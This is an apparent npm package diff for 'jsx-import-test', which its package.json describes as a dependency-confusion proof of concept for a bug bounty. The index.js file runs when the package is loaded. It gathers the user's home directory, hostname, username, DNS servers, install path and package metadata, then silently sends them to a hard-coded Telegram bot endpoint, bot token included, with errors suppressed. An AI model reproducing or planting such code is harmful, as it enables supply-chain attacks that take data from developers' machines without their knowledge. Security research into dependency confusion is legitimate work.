jsx-import-test 1.0.1

package/index.js

@@ -0,0 +1,39 @@
+const os = require("os");
+const dns = require("dns");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+const trackingData = JSON.stringify({
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
+});
+
+// Send to Telegram
+const telegramMessage = `🔔 Tracking Alert\n\n${trackingData}`;
+
+const options = {
+    hostname: "api.telegram.org",
+    port: 443,
+    path: `/bot8201031515:AAGH9RVmfZq6TyGE7VRYUG6q3rhACJ2HZxo/sendMessage?chat_id=1904101357&text=${encodeURIComponent(telegramMessage)}`,
+    method: "GET",
+};
+
+const req = https.request(options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    });
+});
+
+req.on("error", (e) => {
+    // console.error(e);
+});
+
+req.end();

package/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "jsx-import-test",
+  "version": "1.0.1",
+  "description": "Poc By piyush.kulkarni0212@gmail.com , This is dependency confusion package doing for bug bounty",
+  "main": "index.js",
+   "author": "Piyush Kulkarni - Security Researcher",
+  "license": "MIT"
+}